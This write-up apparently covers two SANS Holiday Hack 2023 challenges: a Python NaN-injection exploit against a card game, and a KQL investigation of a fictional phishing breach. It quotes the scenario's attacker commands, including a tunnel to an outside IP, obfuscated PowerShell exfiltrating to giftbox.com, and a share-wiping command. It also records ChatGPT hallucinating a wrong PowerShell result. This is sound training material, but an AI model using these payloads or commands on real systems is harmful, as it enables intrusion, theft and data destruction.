Holiday Hack 2023: Chiaroscuro City
Geography
Getting To
I’ll stop in Chiaroscura City as a last stop before Space Island. It’s located on the south-east foot of the island:
Location Layout
At the north west corner there’s a door to the Gumshoe Alley PI Office:
Wombley Cube is hanging out near the entranace. I’ll save the details of that conversation for the next section.
Na’an
Challenge
Shifty McShuffles is in the middle of Chiaroscuro City next to the Na’an table. I’ve got an objective to:
Shifty says:
Shifty McShuffles
Hey there, stranger! Fancy a game of cards? Luck’s on your side today, I can feel it.
Step right up, test your wit! These cards could be your ticket to fortune.
Trust me, I’ve got a good eye for winners, and you’ve got the look of luck about you.
Plus, I’d wager you’ve never played this game before, as this isn’t any ordinary deck of cards. It’s made with Python.
The name of the game is to bamboozle the dealer.
So whad’ya think? Are you clever enough?
Game
The game is very simple:
I get to pick five unique numbers, and Shifty does that same. Any numbers that we both pick are ignored. Of the remaining numbers, the person with the highest gets a point and the person with the lowest gets a point.
Playing legit, this tends towards something like where I pick 0, 1, 7, 8, 9 and Shifty picks 0, 1, 2, 8, 9, which leads to a point each. At best, I can get a stalemate each time.
HTTP Requests
Dev Tools
When I submit my numbers, the request sent to the https://nannannannannannan.com/action?id=c8cf0c52-a2b8-401c-9fcf-3a07c4fa4f1d
with JSON the body of:
{"play":"0,1,7,8,9"}
There’s a larger than necessary JSON response:
{
"data": {
"maxItem": {
"num": 7.0,
"owner": "p"
},
"minItem": {
"num": 2.0,
"owner": "s"
},
"play_message": "Ha, we tied!",
"player_cards": [
{
"num": 0.0,
"owner": "p"
},
{
"num": 1.0,
"owner": "p"
},
{
"num": 7.0,
"owner": "p"
},
{
"num": 8.0,
"owner": "p"
},
{
"num": 9.0,
"owner": "p"
}
],
"player_score": 1,
"score_message": "",
"shifty_score": 1,
"shiftys_cards": [
{
"num": 0.0,
"owner": "s"
},
{
"num": 1.0,
"owner": "s"
},
{
"num": 2.0,
"owner": "s"
},
{
"num": 8.0,
"owner": "s"
},
{
"num": 9.0,
"owner": "s"
}
],
"win_lose_tie_na": "n"
},
"request": true
}
curl
I’ll recreate this request with curl
:
oxdf@hacky$ curl https://nannannannannannan.com/action?id=8cb4e8e9-9143-43b9-910b-372501a1b0ca -d '{"play":"0,1,7,8,9"}'
{"data":{"maxItem":{"num":7.0,"owner":"p"},"minItem":{"num":2.0,"owner":"s"},"play_message":"Ha, we tied!","player_cards":[{"num":0.0,"owner":"p"},{"num":1.0,"owner":"p"},{"num":7.0,"owner":"p"},{"num":8.0,"owner":"p"},{"num":9.0,"owner":"p"}],"player_score":1,"score_message":"","shifty_score":1,"shiftys_cards":[{"num":0.0,"owner":"s"},{"num":1.0,"owner":"s"},{"num":2.0,"owner":"s"},{"num":8.0,"owner":"s"},{"num":9.0,"owner":"s"}],"win_lose_tie_na":"n"},"request":true}
Failures
I tried several things that didn’t work. For example, sending a negative number and/or a number greater than 9:
oxdf@hacky$ curl https://nannannannannannan.com/action?id=8cb4e8e9-9143-43b9-910b-372501a1b0ca -d '{"play":"-1,1,7,8,9"}'
{"data":"Requires 5 unique values but was given \"-1,1,7,8,9\"","request":false}
oxdf@hacky$ curl https://nannannannannannan.com/action?id=8cb4e8e9-9143-43b9-910b-372501a1b0ca -d '{"play":"0,1,7,8,10"}'
{"data":"Requires 5 unique values but was given \"0,1,7,8,10\"","request":false}
I also tried non-integer numbers:
oxdf@hacky$ curl https://nannannannannannan.com/action?id=8cb4e8e9-9143-43b9-910b-372501a1b0ca -d '{"play":"0,1,7,8.5,9"}'
{"data":"Requires 5 unique values but was given \"0,1,7,8.5,9\"","request":false}
None of these seem to work.
Get Source
Leak
I didn’t initially do this on first solving, but it’s possible to send bad input to the server which causes it to crash and leak the code for the function. It crashes when I send a play
value that isn’t a string:
oxdf@hacky$ curl https://nannannannannannan.com/action?id=8cb4e8e9-9143-43b9-910b-372501a1b0ca -d '{"play":{}}'
{"data":"Error in function named play_cards:\n\ndef play_cards(csv_card_choices, request_id):\n try:\n f = StringIO(csv_card_choices)\n reader = csv.reader(f, delimiter=',')\n player_cards = []\n for row in reader:\n for n in row:\n n = float(n)\n if is_valid_whole_number_choice(n) and n not in [x['num'] for x in player_cards]:\n player_cards.append({\n 'owner':'p',\n 'num':n\n })\n break\n if len(player_cards) != 5:\n return jsonify({\"request\":False,\"data\": f\"Requires 5 unique values but was given \\\"{csv_card_choices}\\\"\" })\n player_cards = sorted(player_cards, key=lambda d: d['num'])\n shiftys_cards = shifty_mcshuffles_choices( player_cards )\n all_cards = []\n for p in player_cards:\n if p['num'] not in [x['num'] for x in shiftys_cards]:\n all_cards.append(p)\n for s in shiftys_cards:\n if s['num'] not in [x['num'] for x in player_cards]:\n all_cards.append(s)\n maxItem = False\n minItem = False\n if bool(len(all_cards)):\n maxItem = max(all_cards, key=lambda x:x['num'])\n minItem = min(all_cards, key=lambda x:x['num'])\n p_starting_value = int(session.get('player',0))\n s_starting_value = int(session.get('shifty',0))\n if bool(maxItem):\n if maxItem['owner'] == 'p':\n session['player'] = str( p_starting_value + 1 )\n else:\n session['shifty'] = str( s_starting_value + 1 )\n if bool(minItem):\n if minItem['owner'] == 'p':\n session['player'] = str( int(session.get('player',0)) + 1 )\n else:\n session['shifty'] = str( int(session.get('shifty',0)) + 1 )\n score_message, win_lose_tie_na = win_lose_tie_na_calc( int(session.get('player',0)), int(session.get('shifty',0)) )\n play_message = 'Ha, we tied!'\n if int(session['player']) - p_starting_value > int(session['shifty']) - s_starting_value:\n play_message = 'Darn, how did I lose that hand!'\n elif int(session['player']) - p_starting_value < int(session['shifty']) - s_starting_value:\n play_message = 'I win and you lose that hand!'\n if win_lose_tie_na in ['w','l','t']:\n session['player'] = '0'\n session['shifty'] = '0'\n msg = { \"request\":True, \"data\": {\n 'player_cards':player_cards,\n 'shiftys_cards':shiftys_cards,\n 'maxItem':maxItem,\n 'minItem':minItem,\n 'player_score':int(session['player']),\n 'shifty_score':int(session['shifty']),\n 'score_message': score_message,\n 'win_lose_tie_na': win_lose_tie_na,\n 'play_message':play_message,\n } }\n if win_lose_tie_na == \"w\":\n msg[\"data\"]['conduit'] = { 'hash': hmac.new(submissionKey.encode('utf8'), request_id.encode('utf8'), sha256).hexdigest(), 'resourceId': request_id }\n return jsonify( msg )\n except Exception as e:\n err = f\"{type(e).__name__} at line {e.__traceback__.tb_lineno} of {__file__}: {e}\"\n raise ValueError(err)\n\n\nValueError at line 172 of /root/webserver/webserver.py: TypeError at line 92 of /root/webserver/webserver.py: initial_value must be str or None, not dict","request":false}
jq
can get this as nicely formatted Python by piping the curl
results into jq -r .data
(the -r
does “raw” output):
oxdf@hacky$ curl https://nannannannannannan.com/action?id=8cb4e8e9-9143-43b9-910b-372501a1b0ca -d '{"play":{}}' -s | jq -r .data
Error in function named play_cards:
def play_cards(csv_card_choices, request_id):
try:
f = StringIO(csv_card_choices)
reader = csv.reader(f, delimiter=',')
player_cards = []
for row in reader:
for n in row:
n = float(n)
if is_valid_whole_number_choice(n) and n not in [x['num'] for x in player_cards]:
player_cards.append({
'owner':'p',
'num':n
})
break
if len(player_cards) != 5:
return jsonify({"request":False,"data": f"Requires 5 unique values but was given \"{csv_card_choices}\"" })
player_cards = sorted(player_cards, key=lambda d: d['num'])
shiftys_cards = shifty_mcshuffles_choices( player_cards )
all_cards = []
for p in player_cards:
if p['num'] not in [x['num'] for x in shiftys_cards]:
all_cards.append(p)
for s in shiftys_cards:
if s['num'] not in [x['num'] for x in player_cards]:
all_cards.append(s)
maxItem = False
minItem = False
if bool(len(all_cards)):
maxItem = max(all_cards, key=lambda x:x['num'])
minItem = min(all_cards, key=lambda x:x['num'])
p_starting_value = int(session.get('player',0))
s_starting_value = int(session.get('shifty',0))
if bool(maxItem):
if maxItem['owner'] == 'p':
session['player'] = str( p_starting_value + 1 )
else:
session['shifty'] = str( s_starting_value + 1 )
if bool(minItem):
if minItem['owner'] == 'p':
session['player'] = str( int(session.get('player',0)) + 1 )
else:
session['shifty'] = str( int(session.get('shifty',0)) + 1 )
score_message, win_lose_tie_na = win_lose_tie_na_calc( int(session.get('player',0)), int(session.get('shifty',0)) )
play_message = 'Ha, we tied!'
if int(session['player']) - p_starting_value > int(session['shifty']) - s_starting_value:
play_message = 'Darn, how did I lose that hand!'
elif int(session['player']) - p_starting_value < int(session['shifty']) - s_starting_value:
play_message = 'I win and you lose that hand!'
if win_lose_tie_na in ['w','l','t']:
session['player'] = '0'
session['shifty'] = '0'
msg = { "request":True, "data": {
'player_cards':player_cards,
'shiftys_cards':shiftys_cards,
'maxItem':maxItem,
'minItem':minItem,
'player_score':int(session['player']),
'shifty_score':int(session['shifty']),
'score_message': score_message,
'win_lose_tie_na': win_lose_tie_na,
'play_message':play_message,
} }
if win_lose_tie_na == "w":
msg["data"]['conduit'] = { 'hash': hmac.new(submissionKey.encode('utf8'), request_id.encode('utf8'), sha256).hexdigest(), 'resourceId': request_id }
return jsonify( msg )
except Exception as e:
err = f"{type(e).__name__} at line {e.__traceback__.tb_lineno} of {__file__}: {e}"
raise ValueError(err)
ValueError at line 172 of /root/webserver/webserver.py: TypeError at line 92 of /root/webserver/webserver.py: initial_value must be str or None, not dict
Source Analysis
Cards are stored as a dictionary with owner
and num
:
player_cards.append({
'owner':'p',
'num':n
})
A list all_cards
is created of the unique cards:
all_cards = []
for p in player_cards:
if p['num'] not in [x['num'] for x in shiftys_cards]:
all_cards.append(p)
for s in shiftys_cards:
if s['num'] not in [x['num'] for x in player_cards]:
all_cards.append(s)
The min and max card is calculated:
maxItem = max(all_cards, key=lambda x:x['num'])
minItem = min(all_cards, key=lambda x:x['num'])
NaN Injection
Background
There’s an issue in Python known as NaN injection which stems from some of the weird ways that Python handles “Not a Number”. This GitHub repo has a great PowerPoint presentation about some of the oddities.
The issue here is that my input is going to be converted to a number. If it’s converted from a string to a float, then the string NaN
(in any case) will convert to the not-a-number object, which then is handled weirdly, as shown above.
Mark Baggett gave a presentation at the 2022 KringleCon, Python’s Nan-Issue, and even has a method for always getting the highest and lowest score:
Exploitation
The payload to get this to work is a bit random, but I had nice success with sending {"0,1,NaN,8,9"}
:
oxdf@hacky$ curl https://nannannannannannan.com/action?id=8cb4e8e9-9143-43b9-910b-372501a1b0ca -d '{"play":"0,1,NaN,8,9"}' -s | jq -r .data.play_message
Darn, how did I lose that hand!
That works because when I pick those numbers, Shifty always picks 0 and 1 as well, so NaN
becomes the first in the combined list, and as Mark Baggett said in his presentation, if NaN
is first, it will return as both min
and max
. I could also just send NaN
as the first card, or all NaN
s.
I can do this via the GUI in the iFrame to get the win:
It’s also possible to intercept the requests with a proxy like Burp and modify / replay the requests. Regardless of how I do it, if I get up to 10 points, I win.
Epilogue
Shifty McShuffles
Well, you sure are more clever than most of the tourists that show up here.
I couldn’t swindle ya, but don’t go telling everyone how you beat me!
An elf’s gotta put food on the table somehow, and I’m doing the best I can with what I got.
KQL Kraken Hunt
Challenge
There’s one more objective at Film Noir Island:
Tangle provides the background:
Tangle Coalbox
Greetings, rookie. Tangle Coalbox of Kusto Detective Agency here.
I’ve got a network infection case on Film Noir Island that needs your expertise.
Seems like someone clicked a phishing link within a client’s organization, and trouble’s brewing.
I’m swamped with cases, so I need an extra pair of hands. You up for the challenge?
You’ll be utilizing the Azure Data Explorer and those KQL skills of yours to investigate this incident.
Before you start, you’ll need to create a free cluster.
Keep your eyes peeled for suspicious activity, IP addresses, and patterns that’ll help us crack this case wide open.
Remember, kid, time is of the essence. The sooner we can resolve this issue, the better.
If you run into any problems, just give me a holler, I’ve got your back.
Good hunting, and let’s bring this cyber criminal to justice.
Once you’ve got the intel we need, report back and we’ll plan our next move. Stay sharp, rookie.
Getting Started
Create Cluster
I’ll use the link from Tangle to create a free cluster at the Azure Data Explorer page:
The resulting page has my cluster and some URLs I’ll need to interact with it:
Kusto Detective
The Kusto Detective page is centered around an inbox:
There are three different “seasons” (scenarios) available for playing. I’ll want to make sure I’m playing the Sans Holiday Hack one.
The message from Lieutenant Hackstopper talks about how I need to set up an account, make sure I have a cluster (as I did above) and how to load data into the cluster. I’ll click on the shield with the ? at the top right, and give it my cluster URL:
Now the top right shows my progress:
There’s a big block of code that will create tables in my cluster and load event from Azure Blob Storage:
Clicking the “Run” button will open my Azure cluster with these commands ready to run. It takes about five seconds, and then there are a bunch of populated tables in my cluster:
Train Me
There is a first question for me, but before going to that, there’s a “Train me for the case” button at the top right. It will open a popup with examples of how to use Kusto Query Language (KQL) to answer questions using the data in a cluster. I’ll start with a table and then use pipes (|
) to send that output through different filters / operations. For example, to get 10 rows from the Employees table:
Employees
| take 10
It works:
Besides take
, it shows count
to get counts and where
to filter based on given criteria. There are example questions to make sure I’m understanding it as I go:
Onboarding
Other than setting up the database, this case has only on question:
How many Craftperson Elf’s are working from laptops?
Since it’s talking about employees, I’ll start in the Employees table and see that “role” is a column, and “Craftsperson Elf” is one of the roles. I don’t see anything that directly says what kind of computer they are using, but “hostname” is a column, and many of them end with -LAPTOP
. I’ll use this KQL query:
It shows there are 25 records, or I can add | count
to the end to get that as a result. 25 solves the challenge.
Cases
Welcome to Operation Giftwrap: Defending the Geese Island network [Case 1]
An urgent alert has just come in, ‘A user clicked through to a potentially malicious URL involving one user.’ This message hints at a possible security incident, leaving us with critical questions about the user’s intentions, the nature of the threat, and the potential risks to Santa’s operations. Your mission is to lead our security operations team, investigate the incident, uncover the motives behind email, assess the potential threats, and safeguard the operations from the looming cyber threat.
The clock is ticking, and the stakes are high - are you up for this exhilarating challenge? Your skills will be put to the test, and the future of Geese Island’s digital security hangs in the balance. Good luck!
The alert says the user clicked the malicious link
http://madelvesnorthpole.org/published/search/MonthlyInvoiceForReindeerFood.docx
The three questions are:
- What is the email address of the employee who received this phishing email?
- What is the email address that was used to send this spear phishing email?
- What was the subject line used in the spear phishing email?
To solve this, I’ll want to find the email in question. The Email
table has a link
column, so I’ll search for links that contain “madelvesnorthpole.org”:
Email
| where link contains "madelvesnorthpole.org"
There is only one result:
It has the link in question. This gives the answers to the questions:
- What is the email address of the employee who received this phishing email? alabaster_snowball@santaworkshopgeeseislands.org
- What is the email address that was used to send this spear phishing email? cwombley@gmail.com
- What was the subject line used in the spear phishing email? [EXTERNAL] Invoice foir reindeer food past due
Someone got phished! Let’s dig deeper on the victim… [Case 2]
The next stage involves learning about the victim of the phish:
Nicely done! You found evidence of the spear phishing email targeting someone in our organization. Now, we need to learn more about who the victim is!
If the victim is someone important, our organization could be doomed! Hurry up, let’s find out more about who was impacted!
This case comes with three questions as well:
- What is the role of our victim in the organization?
- What is the hostname of the victim’s machine?
- What is the source IP linked to the victim?
I’ll go to the Employees
table and use the email from the previous case:
Employees
| where email_addr == "alabaster_snowball@santaworkshopgeeseislands.org"
The result is one row, with all the information I need to solve this case:
- What is the role of our victim in the organization? Head Elf
- What is the hostname of the victim’s machine? Y1US-DESKTOP
- What is the source IP linked to the victim? 10.10.0.4
That’s not good. What happened next? [Case 3]
The next case is a bit more vague:
The victim is Alabaster Snowball? Oh no… that’s not good at all! Can you try to find what else the attackers might have done after they sent Alabaster the phishing email?
Use our various security log datasources to uncover more details about what happened to Alabaster.
The questions add some direction:
- What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs!
- What file is dropped to Alabaster’s machine shortly after he downloads the malicious file?
My first thought was to look at the DNS logs, but there are many entries for madelvesnorthpole.org
:
That’s a bit scary, though this is labels as PassiveDNS, so perhaps it includes resolutions from outside this org. I’ll turn to OutboundNetworkEvents
, and filter on the URL to look for interactions with the malicious domain:
OutboundNetworkEvents
| where url contains "madelvesnorthpole.org"
There is one result, from Alabaster’s IP:
I’ll turn to FileCreationEvents
, filtering on Alabaster’s username. There are 135 results, but I can narrow that with the date of the download:
FileCreationEvents
| where username == "alsnowball" and timestamp >= datetime("2023-12-02") and timestamp < datetime("2023-12-03")
There are three results:
giftwrap.exe
is downloaded less than a minute after the phishing document.
-
What time did Alabaster click on the malicious link? Make sure to copy the exact timestamp from the logs!
2023-12-02T10:12:42Z
-
What file is dropped to Alabaster’s machine shortly after he downloads the malicious file? giftwrap.exe
A compromised host! Time for a deep dive. [Case 4]
Now I’ll pivot to looking at Alabaster’s computer:
Well, that’s not good. It looks like Alabaster clicked on the link and downloaded a suspicious file. I don’t know exactly what giftwrap.exe does, but it seems bad.
Can you take a closer look at endpoint data from Alabaster’s machine? We need to figure out exactly what happened here. Word of this hack is starting to spread to the other elves, so work quickly and quietly!
The questions about what happens after the malware is run:
- The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?
- What is the timestamp when the attackers enumerated network shares on the machine?
- What was the hostname of the system the attacker moved laterally to?
I’ll look at processes on Alabasters computer that happen after the malware:
ProcessEvents
| where hostname == "Y1US-DESKTOP" and timestamp > datetime(2023-12-02T10:12:42Z)
The results show some clear enumeration activity:
The first three rows may be legit system activity, but then it gets sketchy. Ligolo is a reverse tunneling tool, and the full command line gives all the information about what it’s doing:
It’s a bit weird, because these command line arguments don’t match up with anything in the Ligolo documentation or source (more on this at the end). Still, it’s enough to get the IP being forwarded to.
Later in the processes, the attacker runs net share
:
That is used to enumerate shares.
Three weeks later, there’s an attempt to use a file share, which fits the previous questions:
The Alabaster account is trying to authenticate to the NorthPolefileshare
computer.
-
The attacker created an reverse tunnel connection with the compromised machine. What IP was the connection forwarded to? 113.37.9.17
-
What is the timestamp when the attackers enumerated network shares on the machine?
2023-12-02T16:51:44Z
-
What was the hostname of the system the attacker moved laterally to?
NorthPolefileshare
A hidden message [Case 5]
Now I’m asked to look at encoded commands:
Wow, you’re unstoppable! Great work finding the malicious activity on Alabaster’s machine. I’ve been looking a bit myself and… I’m stuck. The messages seem to be garbled. Do you think you can try to decode them and find out what’s happening?
Look around for encoded commands. Use your skills to decode them and find the true meaning of the attacker’s intent! Some of these might be extra tricky and require extra steps to fully decode! Good luck!
If you need some extra help with base64 encoding and decoding, click on the ‘Train me for this case’ button at the top-right of your screen.
The questions are about base64 encoded PowerShell commands:
- When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine?
- What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)
- The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?
Still working from a query for all process events on Alabaster’s machine, I’ll see that after mapping the file share, there are three PowerShell invocations using encoded commands:
The first command looks like:
I typically decode that in a Bash shell sending it to base64 -d
, but it can be done in KQL as well:
It’s not clear how this might have executed at all (more at the end). Still, if I assume that’s supposed to be the answer, it reverses to:
powershell.exe -c Copy-Item \\NorthPolefileshare\c$\MissionCritical\NaughtyNiceList.txt C:\Desktop\NaughtyNiceList.txt
which gives the name of the file.
The next command decodes to:
[StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))|& ((gv '*MDr*').NamE[3,11,2]-joiN
This actually doesn’t run either, but I can decode it to get an idea. In PowerShell, those characters make this string:
PS > [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120,
32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))
downwithsanta.exe -exfil C:\\Desktop\\NaughtNiceList.docx \\giftbox.com\file
The other bit is trying to pipe that string into iex
. gv
is Get-Value
, and gv *MDr*
will return the MaximumDriveCount
:
PS C:\Users\David> gv *mdr*
Name Value
---- -----
MaximumDriveCount 4096
It’s grabbing characters from that to make iex
, which is short for Invoke-Expression
, a commandlet that will take a string and run it as PowerShellcode (and that also gets flagged by AV/EDR):
PS > (gv *mdr*).name[3,11,2] -join ''
iex
So in theory this command is trying to run downwithsanta.exe
with the -exfil
flag giving it NaughtNiceList.docx
(not .txt
like above) and the share \\giftbox.com\file
. The command doesn’t work, which is why I don’t see a log for downwithsanta.exe
in the process events.
-
When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine?
2023-12-24T16:07:47Z
-
What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding) NaughtyNiceList.txt
-
The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?
giftbox.com
The final step! [Case 6]
The last case is about the final encoded command:
Wow! You decoded those secret messages with easy! You’re a rockstar. It seems like we’re getting near the end of this investigation, but we need your help with one more thing…
We know that the attackers stole Santa’s naughty or nice list. What else happened? Can you find the final malicious command the attacker ran?
Both questions are about the executable that’s run:
- What is the name of the executable the attackers used in the final malicious command?
- What was the command line flag used alongside this executable?
The final command looks like:
That decodes to:
C:\Windows\System32\downwithsanta.exe --wipeall \\\\NorthPolefileshare\\c$
That answers both questions:
-
What is the name of the executable the attackers used in the final malicious command? downwithsanta.exe
-
What was the command line flag used alongside this executable?
–wipeall
Congratulations!
The last case gives the flag to put into my badge:
Congratulations, you’ve cracked the Kusto detective agency section of the Holiday Hack Challenge!
By now, you’ve likely pieced together the broader narrative of the alert we received. It all started with Wombley Cube, a skilled Craftsperson, and a malicious insider, who sent an email to the esteemed head elf, Alabaster Snowball. This seemingly innocent email contained a dangerous link leading to the malicious domain, MadElvesNorthPole.org. Alabaster Snowball, from his PC, unwittingly clicked on the link, resulting in the download and execution of malicious payloads. Notably, you’ve also discerned Wombley Cube’s ulterior motive: to pilfer a copy of Santa’s naughty or nice list and erase the data on the share drive containing critical information to Santa’s operations. Kudos to you!
To earn credit for your fantastic work, return to the Holiday Hack Challenge and enter the secret phrase which is the result of running this query:
print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==')
That decodes to “Beware the Cube that Wombles”, which solves the objective.
Epilogue
Tangle is impressed:
Tangle Coalbox
I had my doubts, but you’ve proven your worth.
That phishing scheme won’t trouble our client’s organization anymore, thanks to your keen eye and investigatory prowess.
So long, Gumshoe, and be careful out there.
Beyond The Flag
Ligolo? plink?
The “Ligolo” syntax really bothered me:
ligolo -bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof
These arguments are not present in the Ligolo source, or even in Ligolo-ng. I can download the latest copy and try to run it, but it fails complaining about bad arguments:
$ ./ligolo --bind 0.0.0.0:1251 --forward 127.0.0.1:3389 --to 113.37.9.17:22 --username rednose --password falalalala --no-antispoof
██╗ ██╗ ██████╗ ██████╗ ██╗ ██████╗
██║ ██║██╔════╝ ██╔═══██╗██║ ██╔═══██╗
██║ ██║██║ ███╗██║ ██║██║ ██║ ██║
██║ ██║██║ ██║██║ ██║██║ ██║ ██║
███████╗██║╚██████╔╝╚██████╔╝███████╗╚██████╔╝
╚══════╝╚═╝ ╚═════╝ ╚═════╝ ╚══════╝ ╚═════╝
Local Input - Go - Local Output
flag provided but not defined: -bind
Usage of ./ligolo:
-autorestart
Attempt to reconnect in case of an exception
-relayserver string
The relay server (the connect-back address) (default "127.0.0.1:5555")
-skipverify
Skip TLS certificate pinning verification
-targetserver string
The destination server (a RDP client, SSH server, etc.) - when not specified, Ligolo starts a socks5 proxy server
None of the arguments match.
Searching for --no-antispoof
results in a bunch of references to plink
:
It seems that’s likely what this is. Still, I’ll also check the hash in Virus Total, and it’s not found, suggesting it might be something custom:
Reverse Powershell
There is a base64-encoded command above that is run by PowerShell. The base64 decodes to:
( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''
It’s taking that string that looks like a backwards command, and splitting it to an array with each character, then taking the first character from each item and joining it together. I don’t really see how it reverses anything. On my host it doesn’t:
PS > ( 'txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop' -split '' | %{$_[0]}) -join ''
txt.tsiLeciNythguaN\potkseD\:C txt.tsiLeciNythguaN\lacitirCnoissiM\$c\erahselifeloPhtroN\\ metI-ypoC c- exe.llehsrewop
Interestingly, I asked ChatGPT about this:
It seems the string needs to be reversed, and decides that it must do that. It also hallucinated C:\Desktop\NathanGuitar
into the answer!
I asked specifically how it got reversed, and ChatGPT doubled down:
“When you concatenate these characters together, you get the reversed version of the original string”! This is fascinating because even as I sit here typing this, ChatGPT has me questioning my result despite the fact that I’ve tested in in PowerShell multiple times!
Lesson here - Don’t be afraid to doubt the AI!